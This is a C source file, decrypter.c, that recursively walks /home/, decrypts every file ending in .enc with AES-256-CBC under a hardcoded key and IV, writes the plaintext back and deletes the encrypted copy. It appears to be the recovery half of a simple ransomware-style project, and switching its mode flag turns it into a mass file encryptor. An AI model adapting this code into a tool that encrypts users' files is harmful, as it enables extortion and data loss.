decrypter.c

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <dirent.h>
#include <openssl/evp.h>
#include <openssl/aes.h>


void decryptfile(FILE * fpin,FILE* fpout,unsigned char* key, unsigned char* iv);
void ls_dir(char* start_path);

void main()
{

        char* start_path;
        start_path = "/home/";
        ls_dir(start_path);
}

void ls_dir(char* start_path)
{
	unsigned char key[] = "12345678901234561234567890123456"; //32 chars long
    unsigned char iv[] = "1234567890123456";//16 chars long
	DIR* dir;
	struct dirent *ent;
	if((dir=opendir(start_path)) !=NULL)
	{
		while((ent=readdir(dir)) !=NULL)
		{

			if(ent->d_type == 8)
			{

				int len = strlen(ent->d_name);
				const char* last_four = &ent->d_name[len-4];
				if(strcmp(last_four,".enc") == 0)
				{

					char* full_path =(char*) malloc(strlen(ent->d_name)+strlen(start_path)+2);
					strcpy(full_path,start_path);
					strcat(full_path,ent->d_name);
					char* new_name = (char*) malloc(strlen(full_path)+1);
					strcpy(new_name,full_path);
					new_name[strlen(new_name)-4] = '\0';

					FILE* fpin;
					FILE* fpout;

					fpin=fopen(full_path,"rb");
					fpout=fopen(new_name,"wb");

					decryptfile(fpin,fpout,key,iv);
					if(fpin != NULL)
						fclose(fpin);
					if(fpout != NULL)
						fclose(fpout);
					
					remove(full_path);
					free(full_path);
					free(new_name);


				}
	

			}

			if(ent->d_type ==4)
			{

				char *full_path=(char*) malloc(strlen(start_path)+strlen(ent->d_name)+2);
				strcpy(full_path,start_path);
				strcat(full_path,ent->d_name);
				strcat(full_path,"/");
				
				if(full_path != start_path && ent->d_name[0] != '.')
				{	
					printf("%s\n",full_path);
					ls_dir(full_path);
				}
				free(full_path);
			}

		}
	}
}



void decryptfile(FILE * fpin,FILE* fpout,unsigned char* key, unsigned char* iv)
{
	//Using openssl EVP to encrypt a file


	const unsigned bufsize = 4096; // bytes to read
	unsigned char* read_buf = malloc(bufsize); // buffer to hold file text
	unsigned char* cipher_buf ;// decrypted text
	unsigned blocksize;
	int out_len;

	EVP_CIPHER_CTX ctx;

	EVP_CipherInit(&ctx,EVP_aes_256_cbc(),key,iv,0); // 0 = decrypt 	1= encrypt
	blocksize = EVP_CIPHER_CTX_block_size(&ctx);
	cipher_buf = malloc(bufsize+blocksize);

	// read file and write encrypted file until eof
	while(1)
	{
		int bytes_read = fread(read_buf,sizeof(unsigned char),bufsize,fpin);
		EVP_CipherUpdate(&ctx,cipher_buf,&out_len,read_buf, bytes_read);
		fwrite(cipher_buf,sizeof(unsigned char),out_len,fpout);
		if(bytes_read < bufsize)
		{
			break;//EOF
		}
	}

	EVP_CipherFinal(&ctx,cipher_buf,&out_len);
	fwrite(cipher_buf,sizeof(unsigned char),out_len,fpout);

	free(cipher_buf);
	free(read_buf);
}